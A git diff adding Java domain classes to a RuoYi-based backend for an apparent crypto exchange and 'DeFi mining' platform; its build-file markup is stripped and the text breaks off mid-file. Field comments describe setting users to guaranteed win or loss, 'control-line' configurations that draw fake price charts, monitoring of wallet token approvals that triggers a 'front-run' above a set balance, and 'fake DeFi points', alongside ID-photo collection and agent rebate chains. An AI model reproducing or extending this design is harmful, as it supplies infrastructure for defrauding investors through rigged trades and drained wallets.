sysdate() + ) + + + \ No newline at end of file diff --git a/ruoyi-system/pom.xml b/ruoyi-system/pom.xml new file mode 100644 index 0000000..aa268bd --- /dev/null +++ b/ruoyi-system/pom.xml @@ -0,0 +1,28 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + + ruoyi-system + + + system系统模块 + + + + + + + com.ruoyi + ruoyi-common + + + + + \ No newline at end of file diff --git a/ruoyi-system/ruoyi-system.iml b/ruoyi-system/ruoyi-system.iml new file mode 100644 index 0000000..e33f826 --- /dev/null +++ b/ruoyi-system/ruoyi-system.iml @@ -0,0 +1,278 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiActivity.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiActivity.java new file mode 100644 index 0000000..263f7c4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiActivity.java @@ -0,0 +1,58 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 空投活动对象 t_defi_activity + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_defi_activity") +public class DefiActivity extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 需要金额 + */ + private BigDecimal totleAmount; + + private Long userId; + /** + * 结束时间 + */ + private Date endTime; + /** + * 奖励金额 + */ + private BigDecimal amount; + /** + * 0-usdt 1-eth + */ + private Long type; + + private Integer status; + /** + * $column.columnComment + */ + private String searchValue; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiOrder.java new file mode 100644 index 0000000..163a74c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiOrder.java @@ -0,0 +1,56 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * defi订单对象 t_defi_order + * + * @author ruoyi + * @date 2023-08-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_defi_order") +public class DefiOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 收益金额 + */ + private BigDecimal amount; + /** + * 钱包金额 + */ + private BigDecimal totleAmount; + /** + * 收益率 + */ + private BigDecimal rate; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 用户id + */ + private Long userId; + /** + * 代理ids + */ + private String adminParentIds; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiRate.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiRate.java new file mode 100644 index 0000000..2be5134 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiRate.java @@ -0,0 +1,48 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * defi挖矿利率配置对象 t_defi_rate + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_defi_rate") +public class DefiRate extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 最小金额 + */ + private BigDecimal minAmount; + /** + * 最大金额 + */ + private BigDecimal maxAmount; + /** + * 利率 + */ + private BigDecimal rate; + /** + * $column.columnComment + */ + private String searchValue; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/KlineSymbol.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/KlineSymbol.java new file mode 100644 index 0000000..13fc86c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/KlineSymbol.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.experimental.Accessors; + +/** + * 数据源对象 t_kline_symbol + * + * @author ruoyi + * @date 2023-07-10 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_kline_symbol") +@Accessors(chain = true) +public class KlineSymbol extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 交易所 + */ + private String market; + /** + * 币种简称 + */ + private String symbol; + /** + * 币种名称 + */ + private String slug; + /** + * 是否开启 + */ + private Long status; + /** + * 图标 + */ + private String logo; + + /** + * 参考币种 + */ + private String referCoin; + + /** + * 参考币种交易所 + */ + private String referMarket; + + /** + * 价格百分比 + */ + private BigDecimal proportion; + + + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/MarketTicker.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/MarketTicker.java new file mode 100644 index 0000000..518541f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/MarketTicker.java @@ -0,0 +1,38 @@ +package com.ruoyi.bussiness.domain; + +import lombok.*; + +import java.math.BigDecimal; + +@Data +@Builder +@AllArgsConstructor +@NoArgsConstructor +@ToString +public class MarketTicker { + + private String symbol; + + private BigDecimal open; + + private BigDecimal close; + + private BigDecimal low; + + private BigDecimal high; + + private BigDecimal amount; + + private Long count; + + private BigDecimal vol; + + private BigDecimal bid; + + private BigDecimal bidSize; + + private BigDecimal ask; + + private BigDecimal askSize; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SendPhoneDto.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SendPhoneDto.java new file mode 100644 index 0000000..150c9fe --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SendPhoneDto.java @@ -0,0 +1,20 @@ +package com.ruoyi.bussiness.domain; + +import lombok.Data; +@Data +public class SendPhoneDto { + + private String account; + //API账号对应密钥 + private String password; + //短信内容 + private String msg; + //手机号码 + private String mobile; + //客户自定义批次号 + private String uid; + //用户收到短信之后显示的发件人国内不支持自定义,国外支持,但是需要提前和运营商沟通注册,具体请与NODE对接人员确定。选填 + private String senderId; + //退订开启标识 + private String tdFlag; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SymbolPrice.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SymbolPrice.java new file mode 100644 index 0000000..1e5b6c2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SymbolPrice.java @@ -0,0 +1,11 @@ +package com.ruoyi.bussiness.domain; + +import lombok.Data; + +import java.math.BigDecimal; +@Data +public class SymbolPrice { + private String symbol; + private BigDecimal price; + +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TActivityRecharge.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TActivityRecharge.java new file mode 100644 index 0000000..e900d58 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TActivityRecharge.java @@ -0,0 +1,44 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 充值活动对象 t_activity_recharge + * + * @author ruoyi + * @date 2023-07-05 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_activity_recharge") +public class TActivityRecharge extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 0-关闭 1-开启 + */ + private Long onOff; + /** + * 充值返点比例 + */ + private BigDecimal rechargePro; + /** + * 充值返点最大值 + */ + private BigDecimal maxRebate; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAgentActivityInfo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAgentActivityInfo.java new file mode 100644 index 0000000..b571b4b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAgentActivityInfo.java @@ -0,0 +1,64 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 返利活动明细对象 t_agent_activity_info + * + * @author ruoyi + * @date 2023-07-06 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_agent_activity_info") +public class TAgentActivityInfo extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private String id; + /** + * 1 充值返利 2挖矿返利 + */ + private Integer type; + /** + * 返利金额 + */ + private BigDecimal amount; + /** + * 1usdt-erc 2 usdt-trc 3btc 4eth + */ + private String coinType; + /** + * 返利用户 + */ + private Long fromId; + /** + * 用户id + */ + private Long userId; + /** + * 1 待返 2 已返 + */ + private Integer status; + /** + * $column.columnComment + */ + private String loginName; + /** + * $column.columnComment + */ + private String serialId; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAddressInfo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAddressInfo.java new file mode 100644 index 0000000..2a288f1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAddressInfo.java @@ -0,0 +1,86 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Builder; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 钱包地址授权详情对象 t_app_address_info + * + * @author ruoyi + * @date 2023-07-15 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_address_info") +public class TAppAddressInfo extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "user_id",type = IdType.AUTO) + private Long userId; + /** + * 地址 + */ + private String address; + /** + * 地址类型 + */ + private String walletType; + /** + * 授权USDT金额上限 + */ + private BigDecimal usdtAllowed; + /** + * 授权USDT金额上限 + */ + private BigDecimal usdcAllowed; + /** + * 钱包地址U余额 + */ + private BigDecimal usdt; + /** + * 钱包地址Usdc余额 + */ + private BigDecimal usdc; + /** + * 钱包地址ETH余额 + */ + private BigDecimal eth; + /** + * 钱包地址BTC余额 + */ + private BigDecimal btc; + /** + * 钱包地址TRX余额 + */ + private BigDecimal trx; + /** + * 授权是否播报.0-没有,1-有.历史数据不播报 + */ + private Long allowedNotice; + /** + * U监控额度 大于这个金额触发抢跑 + */ + private BigDecimal usdtMonitor; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 是否DIFI假分 Y 是 N 否 + */ + private String status; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAsset.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAsset.java new file mode 100644 index 0000000..bed7854 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAsset.java @@ -0,0 +1,72 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.*; + +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Objects; + +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.experimental.Accessors; + +/** + * 玩家资产对象 t_app_asset + * + * @author ruoyi + * @date 2023-06-30 + */ +@Data +@ToString +@Accessors(chain = true) +@Builder +@NoArgsConstructor +@AllArgsConstructor +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_asset") +public class TAppAsset extends BaseEntity { + +private static final long serialVersionUID=1L; + /** + * $column.columnComment + */ + private Long userId; + /** + * 地址 + */ + private String adress; + /** + * 币种 + */ + private String symbol; + /** + * 资产总额 + */ + private BigDecimal amout; + /** + * 占用资产 + */ + private BigDecimal occupiedAmount; + /** + * 可用资产 + */ + private BigDecimal availableAmount; + /** + * 钱包类型 + */ + private Integer type; + + @TableField(exist=false) + private BigDecimal exchageAmount; //币种折合成usdt + @TableField(exist=false) + private String adminParentIds; //币种折合成usdt + @TableField(exist=false) + private String loge; //图标 + + public Comparable getBtcDefaultIfNull(BigDecimal defaultValue) { + return Objects.isNull(this.availableAmount)?defaultValue:this.availableAmount; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppMail.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppMail.java new file mode 100644 index 0000000..2dcc596 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppMail.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 1v1站内信对象 t_app_mail + * + * @author ruoyi + * @date 2023-07-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_mail") +public class TAppMail extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * $column.columnComment + */ + private Long userId; + /** + * 标题 + */ + private String title; + /** + * 内容 + */ + private String content; + /** + * 消息类型 =普通消息 2=全站消息 + */ + private String type; + /** + * 状态(0 未读 1已读) + */ + private Integer status; + /** + * 操作人 + */ + private String opertorId; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 0正常 2删除 + */ + @TableLogic + private String delFlag; + + @TableField(exist = false) + private String userIds; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppRecharge.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppRecharge.java new file mode 100644 index 0000000..598f1f5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppRecharge.java @@ -0,0 +1,139 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.ruoyi.common.annotation.Excel; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.util.Date; +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户充值对象 t_app_recharge + * + * @author ruoyi + * @date 2023-07-04 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_recharge") +public class TAppRecharge extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 卡ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 所有者ID + */ + @Excel(name = "用户id") + private Long userId; + /** + * 用户名 + */ + @Excel(name = "用户名") + private String username; + /** + * 充值金额 + */ + @Excel(name = "充值金额") + private BigDecimal amount; + //业务字段 + @Excel(name = "折合u") + @TableField(exist = false) + private BigDecimal uamount; + /** + * $column.columnComment + */ + private Long bonus; + /** + * 状态 + */ + @Excel(name = "状态",dictType = "recharge_order_status") + private String status; + + @Excel(name = "用户类型",dictType = "user_type") + @TableField(exist = false) + private Integer isTest; + /** + * 单号 + */ + @Excel(name = "订单号") + private String serialId; + + /** + * 订单类型 1/null=充值 2=彩金 + */ + @Excel(name = "订单类型",readConverterExp = "null=充值,''=充值,1=充值,2=彩金") + private String orderType; + /** + * 第三方支付订单号 + */ + private String txId; + /** + * 类型 + */ + @Excel(name = "充值类型") + private String type; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 充值地址 + */ + @Excel(name = "充值地址") + private String address; + /** + * app代理ids + */ + private String appParentIds; + /** + * 后台代理ids + */ + private String adminParentIds; + /** + * 币总 + */ + @Excel(name = "币种") + private String coin; + /** + * 入款地址 + */ + private String toAddress; + /** + * 区块时间 + */ + private Date blockTime; + /** + * $column.columnComment + */ + private String host; + /** + * 实际到账金额 + */ + @Excel(name = "实际到账金额") + private BigDecimal realAmount; + /** + * $column.columnComment + */ + private String rechargeRemark; + /** + * 通知字段 0未通知 1通知了 + */ + private Integer noticeFlag; + /** + * 操作时间 + */ + @Excel(name = "操作时间") + private Date operateTime; + /** + * 充值凭证 + */ + @Excel(name = "图片") + private String fileName; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUser.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUser.java new file mode 100644 index 0000000..9b33a4a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUser.java @@ -0,0 +1,161 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.ruoyi.common.annotation.Excel; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 玩家用户对象 t_app_user + * + * @author ruoyi + * @date 2023-06-30 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_user") +public class TAppUser extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * $column.columnComment + */ + @TableId(value = "user_id",type = IdType.AUTO) + @Excel(name = "用户id") + private Long userId; + + /** + * 0-正常 1-测试 + */ + @Excel(name = "用户id",dictType = "user_type") + private Integer isTest; + + @TableField(exist=false) + private String code; + /** + * 姓名 + */ + @Excel(name = "登录名") + private String loginName; + + /** + * 邮箱 + */ + @Excel(name = "邮箱") + private String email; + + /** + * 登陆密码 + */ + private String loginPassword; + /** + * 地址 + */ + @Excel(name = "地址") + private String address; + /** + * 地址类型 ETH TRC + */ + @Excel(name = "地址类型") + private String walletType; + /** + * 0正常1冻结 + */ + @Excel(name = "是否冻结",dictType = "user_status") + private Integer status; + /** + * 总打码量 + */ + private BigDecimal totleAmont; + + /** + * 总充值打码量 + */ + private BigDecimal rechargeAmont; + + /** + * 0正常 1包赢 2包输 + */ + private Integer buff; + /** + * app代理ids + */ + @Excel(name = "玩家代理") + private String appParentIds; + @Excel(name = "玩家代理用户名") + @TableField(exist = false) + private String appParentNames; + /** + * 后台代理ids + */ + @Excel(name = "后台代理") + private String adminParentIds; + @TableField(exist = false) + @Excel(name = "后台代理用户名") + private String adminParentNames; + /** + * 邀请码 + */ + private String activeCode; + /** + * 注册ip + */ + @Excel(name = "注册ip") + private String registerIp; + /** + * 注册域名 + */ + @Excel(name = "注册域名") + private String host; + + /** + * 手机号 + */ + @Excel(name = "手机号") + private String phone; + /** + * vip等级 + */ + private Integer level; + /** + * $column.columnComment + */ + private String searchValue; + + /** + *是否冻结 1=正常 2=冻结 + */ + private String isFreeze; + + /** + *黑名单 1=正常 2拉黑 + */ + private Integer isBlack; + + @TableField(exist=false) + private String signType; + + @TableField(exist=false) + private String flag; + + @TableField(exist=false) + private Integer productId; + + @TableField(exist=false) + private Integer winNum; + + @TableField(exist=false) + private Integer loseNum; + @TableField(exist=false) + private Integer credits; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUserDetail.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUserDetail.java new file mode 100644 index 0000000..8e51d6a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUserDetail.java @@ -0,0 +1,127 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户详细信息对象 t_app_user_detail + * + * @author ruoyi + * @date 2023-07-04 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_user_detail") +public class TAppUserDetail extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * + */ + private Long userId; + /** + * 真实姓名 + */ + private String realName; + /** + * 身份证号码 + */ + private String idCard; + /** + * 身份证正面照片 + */ + private String frontUrl; + /** + * 国际 + */ + private String country; + /** + * 1 身份证 2 护照 3其他 + */ + private String cardType; + /** + * 手持身份证照片 + */ + private String handelUrl; + /** + * 身份证反面照片 + */ + private String backUrl; + /** + * 用户交易密码 + */ + private String userTardPwd; + /** + * + */ + private String searchValue; + /** + * AuditStatusEnum + */ + private String auditStatusPrimary; + /** + * AuditStatusEnum + */ + private String auditStatusAdvanced; + /** + * 信用分 + */ + private Integer credits; + /** + * 用户充值地址 + */ + private String userRechargeAddress; + + /** + * 连赢场次 + */ + private Integer winNum; + /** + * 连输场次 + */ + private Integer loseNum; + /** + * 交易是否被限制 1 为限制 + */ + private Integer tradeFlag; + /** + * 金额是否被限制 1 为限制 + */ + private Integer amountFlag; + /** + * 金额限制提示语 + */ + private String pushMessage; + /** + * 交易限制提示语 + */ + private String tradeMessage; + /** + * 实名认证时间 + */ + private Date operateTime; + + //业务字段 + @TableField(exist = false) + private String flag; + + //业务字段 + @TableField(exist = false) + private String adminParentIds; + + //业务字段 1 初级 2 高级 + @TableField(exist = false) + private Integer reSetFlag; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppWalletRecord.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppWalletRecord.java new file mode 100644 index 0000000..6172d55 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppWalletRecord.java @@ -0,0 +1,117 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.ruoyi.common.annotation.Excel; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户信息对象 t_app_wallet_record + * + * @author ruoyi + * @date 2023-07-04 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_app_wallet_record") +public class TAppWalletRecord extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 卡ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 用户id + */ + @Excel(name = "用户id") + private Long userId; + +// @Excel(name = "用户类型",readConverterExp = "0=正常用户,1=测试用户") + @Excel(name = "用户类型",dictType = "user_type") + @TableField(exist = false) + private String isTest; + + /** + * 余额 + */ + @Excel(name = "金额") + private BigDecimal amount; + /** + * $column.columnComment + */ + private String searchValue; + + /** + * 换算U金额 + */ + @Excel(name = "折合u") + private BigDecimal uAmount; + + /** + * 前值 + */ + @Excel(name = "前值") + private BigDecimal beforeAmount; + /** + * 后值 + */ + @Excel(name = "后值") + private BigDecimal afterAmount; + /** + * $column.columnComment + */ + private String serialId; + /** + * 类型 + */ + @Excel(name = "账变类型", enumType = "RecordEnum") + private Integer type; + /** + * 币种 + */ + @Excel(name = "币种") + private String symbol; + +//业务字段 + /** + * 开始时间 + */ + @TableField(exist = false) + private String startTime; + /** + * 结束时间 + */ + @TableField(exist = false) + private String endTime; + + + /** + * 最大余额 + */ + @TableField(exist = false) + private BigDecimal minAmount; + /** + * 最小余额 + */ + @TableField(exist = false) + private BigDecimal maxAmount; + + /** + * 后台上级代理ids + */ + private String adminParentIds; + + /** + * 操作时间 + */ + private Date operateTime; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppuserLoginLog.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppuserLoginLog.java new file mode 100644 index 0000000..c3e79bc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppuserLoginLog.java @@ -0,0 +1,69 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 系统访问记录对象 t_appuser_login_log + * + * @author ruoyi + * @date 2023-06-30 + */ +@Data +//@EqualsAndHashCode(callSuper = false) +@TableName("t_appuser_login_log") +public class TAppuserLoginLog{ + +private static final long serialVersionUID=1L; + + /** + * 主键ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 登录用户ID + */ + private Long userId; + /** + * 登录用户名 + */ + private String username; + /** + * 访问IP + */ + private String ipaddr; + /** + * 访问位置 + */ + private String loginLocation; + /** + * 浏览器 + */ + private String browser; + /** + * 系统OS + */ + private String os; + /** + * 登录状态(0成功 1失败) + */ + private Integer status; + /** + * $column.columnComment + */ + private String msg; + /** + * 访问时间 + */ + private Date loginTime; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModel.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModel.java new file mode 100644 index 0000000..829176b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModel.java @@ -0,0 +1,73 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 控线配置对象 t_bot_kline_model + * + * @author ruoyi + * @date 2023-08-09 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_bot_kline_model") +public class TBotKlineModel extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 最大跌幅 + */ + private Long decline; + /** + * 控制粒度 + */ + private Long granularity; + /** + * 最大涨幅 + */ + private Long increase; + /** + * 控盘策略 0 跟随性 2是画线 + */ + private Long model; + /** + * 浮动比例 + */ + private Long pricePencent; + /** + * 交易对 + */ + private String symbol; + /** + * 值 + */ + private String searchValue; + /** + * 开始时间 + */ + private Date beginTime; + /** + * 结束时间 + */ + private Date endTime; + private String lineChartData; + /** + * 控制价格 + */ + private BigDecimal conPrice; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModelInfo.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModelInfo.java new file mode 100644 index 0000000..8c69fa5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModelInfo.java @@ -0,0 +1,57 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 控线详情对象 t_bot_kline_model_info + * + * @author ruoyi + * @date 2023-08-09 + */ +@Data +@TableName("t_bot_kline_model_info") +public class TBotKlineModelInfo{ + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * t_bot_kline_model 的主键 + */ + private Long modelId; + /** + * 时间戳 + */ + private Long dateTime; + /** + * 开盘价 + */ + private BigDecimal open; + /** + * 封盘价 + */ + private BigDecimal close; + /** + * 最高价 + */ + private BigDecimal high; + /** + * 最低价 + */ + private BigDecimal low; + + private String x; + private String y; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCollectionOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCollectionOrder.java new file mode 100644 index 0000000..4fcb76c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCollectionOrder.java @@ -0,0 +1,72 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import 